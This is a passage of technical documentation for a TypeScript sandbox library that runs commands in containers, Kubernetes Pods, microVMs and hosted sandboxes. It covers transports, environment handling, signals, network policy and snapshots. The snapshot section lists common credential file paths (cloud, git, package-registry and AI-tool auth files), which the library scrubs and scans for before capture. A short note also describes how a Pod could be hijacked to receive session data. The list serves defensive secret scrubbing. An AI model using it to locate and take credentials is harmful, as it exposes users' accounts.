Shell programs cross the transport as a single base64 line on stdin, read by a short `/bin/sh` bootstrap before the environment envelope and original command input. Script size therefore does not expand local transport argv. The kernel still authorizes the complete transport command, including every prefix argument; an oversized or denied prefix remains refused. A CommandSandbox grant authorizes this transport, including its ability to receive guest shell programs on stdin; it does not authorize individual guest programs. The guest needs `base64`, and prefixes must forward stdin. Guest shell programs still obey the guest operating system's per-argument size limit.

The provider does not create or remove the machine. `acquire` prepares `workdir` and a pidfile directory private to the session key, so several sessions can share one machine, and closing the scope signals only that session's unfinished commands. File bytes cross the prefix as base64 text, commands run under the guest's absolute `/bin/sh`, and signals use the same pidfile and `/proc` walk as `ContainerSandbox`. An unreachable machine fails `acquire` or the command with `unavailable`. A transport can outlive its machine: a Smithers Cloud gateway keeps an SSH channel open after the workspace behind it stopped, so the exit never arrives. Every command therefore runs beside a `heartbeat` (default 15 seconds) that reads the machine's boot id; a probe that fails, answers another boot, or takes twice the heartbeat ends the command with `unavailable`. Heartbeat deadlines cover the probe response; process-scope cleanup after a completed response does not count as a failed probe. Closing the scope removes the session's pidfile directory, and failures never carry the prefix's argv, which may hold a credential.

### ContainerSandbox

```ts
import { ContainerSandbox } from "@smthrs/sandbox"

const provider = ContainerSandbox.make({
  spawner,
  image: "node:22"
})
```

The default CLI is `docker`; set `program: "podman"` for Podman or name a compatible wrapper. Network access is disabled by default with `--network none`; `network: "none"` says so explicitly, `network: "open"` is the engine's `bridge` network, and setting `network` to another engine mode is an explicit egress opt-in. An allowlist `network: { allow }` throws at `make`: an engine network mode is not a host firewall. `acquire` deterministically names the container, runs `create` then `start`, and reattaches when that name already exists: a refused create is followed by `container inspect`, and the returned configuration and ownership fingerprint must match before reattachment. Commands, reads, and writes all travel through `exec` to the same guest workdir. The scope finalizer runs `rm --force`, ending the container and everything still inside it. A nonzero removal exit logs the resource name and exit code without CLI stderr. A CLI failure without an exit code logs the resource name. Teardown still finishes within five seconds.

Creation environment values travel through `--env-file /dev/stdin`. The host must expose `/dev/stdin`; values containing CR, LF, or NUL fail with `spawn_error` before creation because the CLI env-file format cannot represent them. Per-command environment operands travel as a base64 line on exec stdin, followed by the command's original stdin bytes. The guest shell reads that line before starting the command. The guest image needs `base64` as well as `sh` and `env`. Environment values are absent from local CLI argv.

The exec's own shell is named absolutely and a caller's environment travels as an `env(1)` prefix on the inner shell, never as `--env` on the exec and never through `export`. Both rules exist for the same reason: the engine resolves an exec's argv through the exec environment's `PATH`, so a caller's `PATH` override would otherwise break the wrapper before the command ran, and `export` refuses a name the session contract accepts (`a-b=1`) and would abort the whole line. Every shell the provider starts for itself is absolute for that same reason, workspace preparation, file reads and writes, and signal delivery included, since `options.env` is applied to the whole container. A spawn value of `undefined` deletes the variable with `env -u` rather than merely omitting it, so a name the container was created with is genuinely gone from the command's environment; every `-u` precedes every assignment, because `env` stops reading options at its first operand.

Killing the local `docker exec` client does not reliably signal the guest process. Each spawned command therefore writes its guest pid to a session-private pidfile. `kill` starts a second guest command that plants a cancellation marker first and only then waits for, reads, and signals the recorded pid, walking descendants through `/proc` and signalling children before the root. The marker comes first because the wrapper writes its pid before it reads the marker: a wrapper with no pid on disk has not reached the marker check yet and must see it, and a wrapper that has passed the check has left a pid to signal. Reading the pid first left a window in which the wrapper started the command between the empty read and the marker being written, and the kill reported success anyway. Acquisition wipes the pidfile directory before reuse, so reattachment cannot target stale pids.

#### A container something else runs

```ts
import { ContainerSandbox, Sandbox } from "@smthrs/sandbox"
import * as Container from "@smthrs/std/Container"

const session = ContainerSandbox.existing({
  container: "task-1",
  workdir: "/app",
  spawner,
  transport: Container.makeCommand()
})
const host = yield * Sandbox.hostContext(session)
```

`existing(options)` serves the session contract over a container the caller already runs and owns, such as a benchmark's task container, reached through a transport of `@smthrs/std/Container`'s shape: `exec(request)` answers with the host command that runs one program in the container. A host passes the transport its `bash` flow uses, so its file operations take the same route as its commands. Nothing runs until the session is asked for something, and closing a scope leaves the container as it was.

Every command, read, and write is one `/bin/sh -c` through the transport, run in `workdir` unless the command names another directory. File bytes come back as base64, so a transport whose output channel carries only text returns them intact, and go in on standard input unchanged. The caller's environment travels as for `make`, through standard input to an `env(1)` prefix; the transport's host command gets the least-authority environment plus the plan's own `env`, such as the variables a container CLI finds its daemon by. `readFile` answers a directory with `BadResource`, an absent path with `NotFound`, and a path the container's user may not read with `PermissionDenied`, as the platform implementations do. The other file operations are the Linux ones `make`'s sessions have. The guest needs `sh`, `base64`, and GNU or BusyBox utilities. The session declares no `kill`: a container engine does not pass the end of its client process on to the process it started, so use it for short commands such as file operations.

### KubernetesSandbox

```ts
import { KubernetesSandbox } from "@smthrs/sandbox"

const provider = KubernetesSandbox.make({
  spawner,
  image: "node:22",
  context: "orbstack",
  namespace: "smithers-runs",
  serviceAccount: "runner",
  resources: {
    requests: { cpu: "250m", memory: "512Mi" },
    limits: { cpu: "2", memory: "2Gi" }
  }
})
```

`acquire` derives the Pod name from the session key (prefix `smthrs-sbx-`, lowercased, bounded to 63 characters with the key's digest kept), runs `kubectl run` with `--restart Never` and `sleep infinity`, inspects an `AlreadyExists` Pod, refuses it untouched when its configuration or fingerprint differs, reattaches it only when it is live and carries a valid `reattachKey` seal, and otherwise deletes and replaces it, waits for the `Ready` condition with a 300 second timeout, and prepares the workdir and a session-private pidfile directory. Options `kubectl run` has no flag for (`serviceAccount`, `nodeSelector`, `resources`) travel as a strategic-merge `--overrides` document; `context`, `namespace`, and `kubeconfig` prefix every invocation. The scope finalizer runs `kubectl delete pod --force --grace-period=0`, and a Pod that was created but never became Ready or could not prepare its workspace is deleted the same way. A nonzero deletion exit logs the Pod name and exit code without CLI stderr. A CLI failure without an exit code logs the Pod name. Teardown still finishes within five seconds.

Reattaching a Pod across processes needs `reattachKey`, an operator secret kept the same across restarts. After creating a Pod the provider reads its server-assigned `metadata.uid` and labels it `smithers.dev/sandbox-seal` with `s1-` and the first 60 hex digits of HMAC-SHA256(`reattachKey`, fingerprint NUL uid), which needs `pods/patch` in the namespace. The fingerprint alone is a hash of configuration anyone who knows the flow can compute, so without the seal a principal with `pods/create` but not `pods/exec` could pre-create a Pod under the session's name, fingerprint, and image with its own command and receive the session's commands, stdin, and environment. Binding the uid means a seal copied off an earlier Pod does not validate a new one under the same name. Without `reattachKey`, or when a leftover's seal is missing or wrong (including one created before sealing, or one a crash left between creation and sealing), the leftover is deleted and a fresh Pod created, so its files are lost; a replacement that loses a race for the name fails with `unavailable` rather than adopting the new holder. A principal that can delete and recreate Pods in the namespace, or exec into them, is outside this check.

When creation environment values are supplied, `kubectl run --dry-run=client -o json` renders the Pod, then `kubectl create -f -` receives the manifest with those values on stdin. Per-command environment operands use a base64 line on exec stdin before the command's stdin bytes. Neither path puts environment values in local CLI argv.

Commands run through `kubectl exec` under an absolute `/bin/sh`, in the requested `cwd`, with the caller's environment applied by `env(1)` in front of a second absolute `/bin/sh`; a spawn value of `undefined` deletes a Pod-wide variable with `env -u` rather than leaving it in place, and every `-u` precedes every assignment because `env` stops reading options at its first operand. The provider's own preparation, read, write, and signal shells are absolute too, since `options.env` reaches the whole Pod and a `PATH` override would otherwise disable them. Files travel through the same channel as base64: a read runs guest `base64`, a write pipes base64 into `base64 -d` on the exec's stdin after `mkdir -p` of the parent, so file contents cross the text boundary and remain byte exact. `kill` is the `ContainerSandbox` design, a pidfile per command, the same cancellation marker, and a second exec that signals descendants before the recorded pid. `ping` is `kubectl exec <pod> -- true`.

Isolation is the cluster's, not the provider's: the image, the service account, and the namespace's policies decide what a Pod can reach, and the provider only forwards the shaping options above. The image must carry `sh`, `env`, and `base64`. The Ready timeout is fixed. The real-backend suite runs against the `orbstack` context and skips wherever `kubectl cluster-info` does not answer there.

### JustBashSandbox

```ts
import { JustBashSandbox } from "@smthrs/sandbox"

const provider = JustBashSandbox.make({
  bash: interpreter, // a just-bash instance mounted over the same tree as `fs`
  fs,
  root: "/workspace"
})
```

`acquire` creates `root/<slug>` through the injected `FileSystem` and removes it, recursively, when the scope closes. Commands go to `bash.exec` with the session workdir as `cwd` (a relative spawn `cwd` is rooted under it), the defined entries of the spawn environment, and any spawn `stdin` rendered as a latin1 string under `stdinKind: "bytes"`, the byte representation the interpreter documents; reads, writes, and the native `files` operations (`exists`, `stat`, `readDirectory`, `makeDirectory`, `remove`, `rename`, `realPath`, `readLink`) go to the injected `FileSystem`. The caller must mount the interpreter and that service on the same tree: in a browser this normally means just-bash and `BrowserFileSystem` both view the same ZenFS volume. `ping` always succeeds. There is no machine to reattach; a same-key acquire recreates the directory with a recursive `makeDirectory`, which leaves whatever the mounted tree already holds in place.

This provider is a workspace boundary, **not a security boundary**. An interpreted command can address anything its shared virtual filesystem permits. Runs are serialized behind one permit, because just-bash has one mutable filesystem view. A successful spawn completes before it returns, stdout and stderr each replay at most one UTF-8 encoded chunk, and `isRunning` is already `false` by the time a caller can observe the adapted handle. There is no signal delivery, no separately spawned process pipeline, and no incremental output, so sessions omit `kill` and the conformance kill check is skipped for them. The suite runs the interpreter as a real shell over the same real directory the injected `FileSystem` serves, and the slice is proven assignable from a real just-bash 3.2.0 `Bash` instance, with a negative control against the old shape.

Cancelling or timing out `spawn` stops waiting. An executing command retains the shared permit until its promise settles; a cancelled queued command never starts. A hung interpreter leaves later commands queued, but callers can still cancel. Cancellation neither signals the interpreter nor rolls back its effects, and closing the session scope removes the workspace even while a command is running. See [Limits](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/limits.md) for cancellation and binary output handling.

### MicrosandboxSandbox

```ts
import { NodeGarbageCollector } from "@smthrs/platform-node"
import { MicrosandboxSandbox } from "@smthrs/sandbox"
import { Effect } from "effect"
import * as Microsandbox from "microsandbox"

const program = Effect.gen(function*() {
  const provider = MicrosandboxSandbox.make({
    sdk: Microsandbox,
    collector: yield* MicrosandboxSandbox.GarbageCollector,
    image: "oven/bun:1",
    persistence: "sticky",
    cpus: 2,
    memoryMib: 2048,
    idleTimeoutSecs: 600,
    network: "none"
  })
  // ...acquire sessions from `provider`
}).pipe(Effect.provide(NodeGarbageCollector.layer))
```

`Sdk` is the structural slice of the `microsandbox` module the provider drives, and the real module is assignable to it: `Sandbox.builder(name)` with its fluent options and `create()`, `Sandbox.get(name)` returning a lifecycle handle (`status`, `configJson`, `connect`, `start`, `startDetached`, `refresh`, `modify`, `destroy`), `Sandbox.listWith(configure)` with `label` and `cursor` paging, `defaultBackendKind()`, and `setDefaultBackend("local")`. A booted machine exposes `name`, `backendKind`, `fs()`, `execStreamWith(program, configure)`, and `destroy({ timeoutMs, force? })`; a command handle exposes `recv()`, `signal(number)`, and `kill()`.

`collector` is the host's `GarbageCollector` service. The SDK's command handle holds its guest agent session until the JavaScript object is garbage collected, and a machine refuses new sessions once about 140 finished handles are still uncollected. The provider therefore collects through the collector on every 64th command start (the count is kept per collector, so a host's one collector counts every provider in its process) and before it reconnects to a guest that stopped answering. Provide `NodeGarbageCollector.layer` from `@smthrs/platform-node` on Node and `BunGarbageCollector.layer` from `@smthrs/platform-bun` on Bun; `MicrosandboxSandbox.layerGarbageCollectorNoop` collects nothing, for a host that has no collector to call. A `captureSnapshot` command counts toward no collection, because the captured machine is removed right after it.

The machine name is `smthrs-msb-<slug>`. `acquire` configures the builder and calls `create`; when the SDK answers `sandboxAlreadyExists` it fetches the handle, records the current ownership labels as a next-start modification, and connects when the machine is running or starts it (detached, for sticky sessions) when it is stopped. Machine creation is registered as a scoped resource before guest setup, so a microVM that boots but cannot prepare its workspace is removed. `ephemeral` persistence, the default, removes the machine when the scope closes; `sticky` deliberately leaves it running so the next acquire of the same session key can reconnect, and only removes a sticky machine it created but could not prepare. Removal is `destroy({ timeoutMs: 3000 })`, a graceful stop; when that fails for any reason but the machine being gone, a second `destroy({ timeoutMs: 3000, force: true })` follows, and the whole teardown is bounded at five seconds. Writes use the SDK's byte-safe `fs().write` and reads its byte-typed `fs().read`; standard input rides the exec builder's own `stdinBytes` channel. `ping` reads `/etc/hostname`.

Commands run through `execStreamWith(shell, ["-c", command])` with the workdir applied per execution, because Microsandbox validates a builder workdir before the selected image has booted. `spawn` returns once the SDK has started the command, and one fiber scoped to the spawn drains the handle's `recv()` events: `started` records the guest pid, `stdout` and `stderr` chunks reach the streams as the guest writes them, and `exited` ends both streams and settles `exitCode`. A stream that ends without `exited`, or a `recv` that rejects, means the machine went away, and both streams and `exitCode` fail with `unavailable` at once. A guest that cannot start the command at all (a missing program or working directory, which the SDK hands back as an `undefined` event) fails them with `spawn_error`.

`kill(process, signal)` signals the command and everything it started. A second guest command walks the process tree below the recorded pid (`pgrep -P`, or `/proc` where there is none), stops the whole collected set, delivers the signal, and continues it, so no shell in the tree runs its next statement between one `kill(2)` and the next; the walk reaches descendants that left the command's process group with `setsid` while their parent is alive. The SDK's `signal(number)` then reaches the command's process group, which covers a guest without the walk's tools and a command whose pid is not known yet. Delivery succeeds when either did, and a command seen to exit is never signalled again. Closing a spawn's scope before its exit was observed, as an interrupted caller does, sends `SIGTERM` the same way, waits two seconds for the exit, and sends `SIGKILL` to whatever ignored it, all inside the five-second teardown bound. A start that the caller abandoned while the SDK was still starting it is killed when its handle arrives.

`image` and `snapshot` are exclusive; naming both fails with `unavailable` before any vendor call. A removed machine is gone with its files. With the default `backend: "local"`, `acquire` refuses before provisioning unless `sdk.defaultBackendKind()` is `local`, and refuses again when the opened machine reports another `backendKind`, so an ambient `MSB_BACKEND`, `MSB_API_KEY`, or `MSB_PROFILE` cannot move guest work off the host; a composition that must stay local also calls `sdk.setDefaultBackend("local")` once at startup. `backend: "any"` accepts the hosted backend. `cpus`, `maxCpus`, `memoryMib`, `maxMemoryMib`, `maxDurationSecs`, `idleTimeoutSecs`, `security`, and `pullPolicy` go to the builder as named. The provider registers no guest scripts: the pinned runtime rewrites them in the guest-writable `/.msb` share by path and follows guest links there. `network: "none"`, and a machine that names neither `network` nor `networkPolicy`, calls `disableNetwork()`: the vendor's own default reaches the public internet, so the provider closes it. `network: "open"` leaves that vendor default. `network: { allow }` goes to `network(b => b.policy(...))` as deny-by-default ingress and egress with egress allowed only to each listed host, whose domain rules also admit the DNS queries for exactly those names; an empty list sends no rules, so DNS is denied too. A `*.` entry becomes a domain-suffix rule, which the vendor also matches against the apex, so a deny rule for the apex precedes the suffix rules unless another entry admits the apex. `networkPolicy` (a `NetworkPolicy`: per-direction defaults and ordered rules in the vendor's shape) goes to the same builder call for rules the neutral option cannot say; naming both throws at `make`. Every machine carries a `smithers.network` label recording its network. An acquire refuses to reattach a machine whose label differs or is missing (one booted under the vendor's open default), before relabelling or connecting; bringing back a sticky machine whose guest stopped answering refuses the same way, and `captureSnapshot` refuses to start a stopped machine that records no network. `rootDiskMib` sets the root disk of an image boot; a snapshot boot keeps the disk it captured.

Snapshots are named `<family>.<member>` (`snapshotName(family, member)`, separator `snapshotSeparator`): the family is the preparation a snapshot repeats, the member tells its captures apart and never contains the separator, so `snapshotFamily(name)` places every name in exactly one family. `captureSnapshot({ sdk, machine, family, member, secrets, stopTimeoutMs? })` scrubs a machine of credentials, runs `sync` in the guest so files written just before the capture reach the disk whole (a failing `sync` refuses the capture before the stop), stops it, captures its root disk as that snapshot, removes the machine whether or not the capture succeeded, and returns the name; a family and member that cannot name a snapshot fail with `unavailable` before any vendor call and leave the machine. `hasSnapshot(sdk, name)` answers whether one exists (a `SnapshotNotFound` answer is `false`; any other failure is `unavailable`). `pruneSnapshots(sdk, family, keep, retain?)` removes that family's snapshots beyond the `keep` newest, except those named in `retain`, and returns their names; a family whose name extends another's is never touched by the other's prune. `removeSnapshot(sdk, name)` removes one; one already gone is not an error. A machine booted from a snapshot does not depend on it afterwards, so pruning never disturbs a running machine.

A snapshot is restored into every later machine, so capture keeps credentials off it. `secrets` lists every credential value the machine was handed while it was prepared; pass `[]` when preparation ran without credentials. Before capture, a stopped machine is started, the credential-only files of `/root` and every `/home/*` are removed (`.git-credentials`, `.netrc`, `.pypirc`, `.config/gh/hosts.yml`, `.cargo/credentials.toml`, `.aws/credentials`, `.config/gcloud/application_default_credentials.json`, `.config/gcloud/credentials.db`, `.config/gcloud/access_tokens.db`, `.claude/.credentials.json`, `.codex/auth.json`, `.gemini/oauth_creds.json`, `.config/github-copilot/hosts.json`, `.config/github-copilot/apps.json`, `.local/share/opencode/auth.json`), and the disk outside `/proc`, `/sys`, and `/dev` is searched for each secret's longest line, so a PEM key is found by its body and not by its armor. The search includes `/run` and all root entry names, including names beginning with one or more dots. Each line is searched raw, as base64 and base64url at every byte alignment, percent-encoded, and JSON-escaped. A secret found anywhere, such as a token in a clone's remote URL, `.npmrc`, or Docker's `config.json`, fails the capture with `unavailable` naming the files and never the value. A secret whose longest line is under 8 bytes fails before any guest call. The removal touches only `/root` and `/home/*`, so a volume mounted at a home path loses those files too. The search does not find a secret split across lines, compressed, encrypted, or in any other encoding. Prefer preparing without credentials and handing them to machines at run time, after the restore.

Every machine carries three ownership labels beside any `labels` the caller passes, and the provider's own values win: `smithers.provider` (`providerLabel`) is always `microsandbox` (`providerName`), `smithers.owner` (`ownerLabel`) is `owner` (default `smithers`), and `smithers.holder` (`holderLabel`) is `holder` (default a random token per `make` call). `reap({ sdk, owner, isAlive, retain?, stopTimeoutMs? })` lists that owner's machines by the provider and owner labels, page by page, asks `isAlive` about each one's holder, and removes those whose holder is dead the same graceful-then-forced way, whatever their persistence, except those `retain` keeps by the labels their configuration records (a sticky machine a resuming run will reattach). Just before each removal the machine is read again, and one whose holder label changed since the listing (a live holder reattached it) or that disappeared is skipped. Machines of other owners, machines without a readable holder label, and machines this package did not create are never touched. Every candidate is attempted; the effect resolves with the removed machines, or fails with `unavailable` naming those that could not be removed after the others were. Reattachment relabels a machine to the new holder as a next-start modification, so a host reaps at startup, before it acquires.

```ts
const orphans = yield * MicrosandboxSandbox.reap({
  sdk: Microsandbox,
  owner: "my-installation",
  isAlive: (holder) => Effect.succeed(holder === currentHolder)
})
```

The real-backend suite runs where the `microsandbox` binary answers `--version` and the host can boot a microVM, and names its skip otherwise. It runs the conformance suite with `kill`, `interrupt`, and `ephemeral` claimed, interrupts a command whose `setsid` descendant must not write afterwards, interrupts ten freshly booted single-vCPU commands whose shells must not run their next statement, keeps two concurrent machines' files apart, reaps a sticky machine whose holder is dead while keeping one whose holder lives, fails an unstartable command with `spawn_error`, and fails a running command with `unavailable` within ten seconds of its machine being destroyed from outside.

`environment` plants the workspace's Nix environment in the microVM and runs every command under it:

```ts
const provider = MicrosandboxSandbox.make({
  sdk: Microsandbox,
  collector,
  persistence: "sticky",
  environment: { flake: flakeText, lock: lockText, attr: "ci" }
})
```

The flake and lock are text because this package reads no host files: whoever composes the provider reads them, from a checkout, a fixture, or wherever else the environment is declared. With an environment and no `image` the microVM boots `nixos/nix`. `acquire` writes the files to `<workdir>/.smithers/nix` (or `directory`), runs `nix develop path:<directory>[#attr] --command true` once so the closure is realised before the session is handed out, and then runs each command as `nix develop … --command <shell> -c <command>`. A flake that does not evaluate fails the acquire with `unavailable`, carrying `nix develop`'s exit code and stderr, and the booted machine is stopped. Boot stays fast through the store: a `sticky` session keeps the realised closure across acquires, and a `snapshot` taken after the warm boots with it already realised.

### VercelSandbox

```ts
import { VercelSandbox } from "@smthrs/sandbox"
import * as vercel from "@vercel/sandbox"

const provider = VercelSandbox.make({
  sdk: vercel,
  token,
  teamId,
  projectId,
  timeoutMs: 30 * 60_000,
  maxDurationMs: 60 * 60_000,
  runtime: "node22"
})
```

The machine name is `smthrs-<slug>`, lowercased. `acquire` calls `Sandbox.getOrCreate` with `persistent: true` and `resume: true`, so a name that already exists is resumed with its filesystem, and the scope finalizer calls `stop()`, which leaves the persistent sandbox in place for the next acquire. Credentials resolve in a fixed order: an explicit `oidcToken` or `VERCEL_OIDC_TOKEN` wins; otherwise `token`, `teamId`, and `projectId` are sent together or not at all; the environment consulted is `options.env`, never `process.env`. Vercel limits the timeout accepted by one create request to five minutes, so longer requested lifetimes create at that ceiling and then call `extendTimeout` with only the remaining duration, because that API extends by its argument rather than setting an absolute target. Commands run through `runCommand` as `sh -c` and never `sh -lc`: a login shell sources profile scripts, and anything those print lands ahead of the command's own standard output, which callers parse as data. `commandEnv` sits under the per-spawn environment. A read drains `readFile`'s stream, string or bytes, into one buffer, and `null` is `not_found`; a write runs `mkdir -p` for the parent and calls `writeFiles`.

`network: "none"` sends `networkPolicy: "deny-all"` and `network: { allow }` sends `networkPolicy: { allow }`, Vercel's egress firewall. `getOrCreate` applies a policy only when it creates, so `acquire` also calls `update({ networkPolicy })` before its first guest command; a resumed sandbox never runs under an older policy. `network: "open"` sends `networkPolicy: "allow-all"`, which also lifts a resumed sandbox's earlier policy. Omitting `network` is `network: "none"`, including the update of a resumed sandbox: Vercel's full internet access needs an explicit `"open"`. A malformed policy throws at `make`.

`timeoutMs` must be a positive finite number, `maxDurationMs` is a caller-owned cap checked before any vendor request, and `workdir` must be absolute; each refusal is a `spawn_error` raised before anything is acquired. Output arrives after the command finishes, so there is no streaming and no `kill`; `runCommand` has no input channel, so standard input is staged as a workspace file and redirected. There is no real-backend suite; the provider is proven against a fake that keeps the vendor API shapes and runs every command through a real shell against real files.

### DaytonaSandbox

```ts
import { DaytonaSandbox } from "@smthrs/sandbox"

const provider = DaytonaSandbox.make({
  sdk: daytona, // a configured `new Daytona(...)` client
  workdir: "/home/daytona/workspace",
  startTimeoutSeconds: 120
})
```

The machine name is `smthrs-<slug>`, lowercased. `acquire` calls `get(name)` first; a 404 creates a sandbox with that name, and an existing one is started with `startTimeoutSeconds`. Creation or attachment is registered as a scoped resource before start and workspace preparation, so any later failure still runs the blocking delete finalizer, `delete(sandbox, deleteTimeoutSeconds, true)`. The workdir is `options.workdir` or the sandbox's own `getWorkDir()`, and either must be absolute. Commands run through `process.executeCommand(command, cwd, env)`. Daytona's byte-native download and stream-upload operations serve file transfer: `downloadFile` for reads, with `FILE_NOT_FOUND` mapped to `not_found`, and `uploadFileStream` for writes.

`network: "none"` and an empty allowlist create the sandbox with `networkBlockAll: true`; `network: { allow }` creates it with `domainAllowList` set to the hosts joined by commas. The runner enforces both as iptables rules. An attached sandbox keeps the network it was created with, so `acquire` calls `updateNetworkSettings` with the same fields after `start` and before any guest command; a refused update fails with `unavailable` and deletes the sandbox. `network: "open"` sends `networkBlockAll: false`, the same way. Omitting `network` is `network: "none"`, so `networkBlockAll: true` is sent on create and after reattach: Daytona's own network needs an explicit `"open"`. A malformed policy throws at `make`.

Teardown deletes the sandbox, so nothing survives a normal release; only a crash-left sandbox is found again by name. `executeCommand` returns one `result` string with no stderr field on the wire, so a command's standard error arrives merged into standard output rather than separately, and output arrives after the command finishes; there is no streaming and no `kill`, and standard input is staged as a workspace file and redirected. There is no real-backend suite; the provider is proven against a fake that keeps the documented API and error shapes (unverified live) and runs every command through a real shell against real files.

### AwsSandbox

```ts
import { ECS } from "@aws-sdk/client-ecs"
import { AwsSandbox } from "@smthrs/sandbox"

const provider = AwsSandbox.make({
  sdk: new ECS({ region: "us-west-2" }),
  exec: { spawner },
  region: "us-west-2",
  cluster: "smithers",
  subnets: ["subnet-0abc"],
  securityGroups: ["sg-0abc"],
  image: "ghcr.io/acme/runner:1",
  taskRoleArn: "arn:aws:iam::123456789012:role/runner-task",
  executionRoleArn: "arn:aws:iam::123456789012:role/runner-exec"
})
```

`acquire` first looks for the machine a previous acquire of the same key left running: one `ListTasks` call with the `startedBy` tag derived from the key and no desired-status filter. AWS requires `startedBy` to be the only filter and documents that a PENDING desired-status filter returns nothing. Omitting `desiredStatus` uses the RUNNING default, which still returns a provisioning task whose desired status is RUNNING while its `lastStatus` is PENDING. This is how a host that died between `RunTask` and its finalizer recovers the not-yet-ready task instead of stranding it. `DescribeTasks` requests `include: ["TAGS"]` and verifies every candidate before adoption or cleanup. Reattaching an externally supplied `taskDefinition` requires an explicit revision (for example `family:7` or a revision-qualified ARN) matching the described task definition; an unversioned family may still create a fresh task. The lowest verified ARN is adopted and waited for if it is not ready; verified duplicates under that key are stopped before provisioning, so a key never accumulates machines. Otherwise it calls `RunTask` with `enableExecuteCommand: true`, `launchType: "FARGATE"`, and that `startedBy`, polls `DescribeTasks` with exponential backoff (capped at 10 seconds, `maxPollAttempts` default 60) until the task is `RUNNING` and its agent is, and registers `StopTask` on the scope; an adopted task is released the same way, so closing the scope always leaves nothing behind. A task that reaches `STOPPED` first fails with `unavailable`; an exhausted poll budget fails with `timeout`. Supplying an image reuses an adopted task’s definition without registering a revision. Recovery lists ACTIVE definitions in the generated family with `ListTaskDefinitions` (including all pages), deregisters stale revisions, and deregisters the adopted revision after stopping the task. The injected SDK and IAM policy must allow `ListTaskDefinitions` for image recovery. A fresh task registers a minimal Fargate task definition and deregisters it after the task finalizer runs: family `smthrs-<startedBy>`, `sleep infinity`, `initProcessEnabled`, `cpu` 256 and `memory` 512 by default, container `sandbox`. `env` reaches the task as container overrides, which needs a `container` name or an image-generated definition. Supplying `taskDefinition` and `env` without `container` fails acquisition with `spawn_error` before any SDK request. A spawn's own environment is applied by `env(1)` in front of an absolute `/bin/sh` rather than by `export`, which refuses a name the session contract accepts. An undefined spawn value uses portable `env -u` to delete the inherited task variable. `ping` describes the task again and requires the same readiness.

Commands, reads, and writes travel through `ExecTransport`: `aws ecs execute-command --interactive`, driven through the injected spawner, because ECS Exec is two halves and the ECS API implements only one. `ExecuteCommand` opens an SSM session and returns its metadata; the data channel that carries output and status is the Session Manager protocol, which the AWS CLI speaks by delegating to `session-manager-plugin`. The session is a pseudo-terminal, so standard error arrives interleaved on standard output and line endings are normalized; the plugin exits zero whatever the remote command did, so every command is wrapped to print its own status line under a random 128-bit per-command nonce, only the first such line counts (a detached child printing another after the command ends cannot change its status; a process already running in the task can read the nonce off the wrapper's command line and print a status first, so the framing is not a boundary against guest code that outlives an earlier command), and a session that ends without one is `aborted`, never a success. Reads come back as guest `base64` and writes go in as base64 slices bounded by `chunkBytes` (default 3072 bytes before encoding), so file contents are byte-exact despite the terminal. `chunkBytes` is validated when the session is acquired and must be a whole number from 1 through 65536 bytes; an invalid value is refused with `spawn_error` naming that range. Each slice travels on `ExecTransport.streamingSpawner` stdin. The range bounds per-session buffering; payload bytes never enter `--command`. Standard input is staged as a workspace file and redirected. `kill` records each command's guest pid in a session-private pidfile and signals it and its descendants through a second session; closing a spawn's scope does the same for a command not yet seen to end.

File writes, spawns with stdin, and spawns with a nonempty environment require `exec.streamingSpawner`. This optional adapter receives the AWS CLI command descriptor, including routing flags and `options.stdin`. It must deliver stdin byte-exactly to the guest, close it at EOF, keep it out of local argv, and disable input echo. Output uses the existing status framing. A normal AWS CLI spawner does not satisfy this contract. Without the adapter these operations fail with `ProviderError` code `unavailable` before transfer; commands without input and file reads still use `exec.spawner`. Environment operands use a base64 line on streaming stdin, and command stdin is staged through the streaming file-write path.

Without an `exec` transport the session still provisions and tears down tasks but refuses `spawn`, `readFile`, and `writeFile` with `unavailable`, naming the missing transport, and the conformance suite records every obligation it cannot meet; with both CLI and streaming adapters it passes the suite in full. Honest limits: the host running the provider needs the `aws` CLI and `session-manager-plugin` installed; a command's standard error cannot be separated from its output; and no live cluster is driven by the package's own suite, so the transport is proven against a fake that reproduces the plugin's banner, footer, carriage returns, and zero exit over a real local shell.

### CloudflareSandbox

```ts
import { getSandbox } from "@cloudflare/sandbox"
import { CloudflareSandbox } from "@smthrs/sandbox"

const provider = CloudflareSandbox.make({
  sdk: { getSandbox },
  binding: env.SANDBOX,
  execution: "exec",
  sleepAfter: "10m"
})
```

The Worker binding is the credential and the infrastructure handle. `acquire` resolves the Durable Object whose id is the session slug, with `enableDefaultSession: false` so the SDK's implicit shell session is never opened, forwards `keepAlive` and `sleepAfter` only when set, registers `destroy()` on the scope, and creates the workdir. In `exec` mode a command is `sandbox.exec` and its completed result; in `process` mode it is `startProcess`, then `waitForExit`, then `getLogs`; a process that reports no exit status on either surface fails with `spawn_error` rather than being given one. File payloads use the SDK's base64 encoding and the text is read from the result's `content` field, which preserves arbitrary bytes without importing host modules. `FILE_NOT_FOUND` is `not_found`. `ping` runs `exec("true")` in the workdir.

This provider does not create infrastructure. The Durable Object namespace, its container image, and the Worker that holds the binding are deployed by the caller, and the binding is the credential; there is nothing to configure here beyond it. Output arrives after the command completes in both modes, so there is no streaming and no `kill`; the exec options carry no input channel at 0.12.9, so standard input is staged as a workspace file and redirected. The finalizer destroys the object, so a normal release discards its files; only a crash-left object is found again by id. There is no real-backend suite; both execution modes are proven against a fake binding that runs every command through a real shell against real files.

## Limits

Two operations here are bounded and the rest is sized by the host's heap.
[Limits](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/limits.md) states which is which, per operation and per provider,
and names the providers whose command output is not byte exact.

## Browser support

`@smthrs/sandbox` bundles as a browser entry point. The probe only runs the effect a provider hands it, and host access stays behind the provider layer. No module reads a host global; the conformance fixture's per-process uniqueness comes from Web Crypto rather than a process id, because a free `process` identifier survives bundling and throws in a browser.

## Reading next

Task-shaped walkthroughs of everything above:
[place a flow body on a machine](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/guides/place-a-flow-body-on-a-machine.md),
[return work from a sandbox](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/guides/return-work-from-a-sandbox.md),
[run commands through a transport](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/guides/run-commands-through-a-transport.md),
[choose a provider](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/guides/choose-a-provider.md),
[supervise a session](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/guides/supervise-a-session.md),
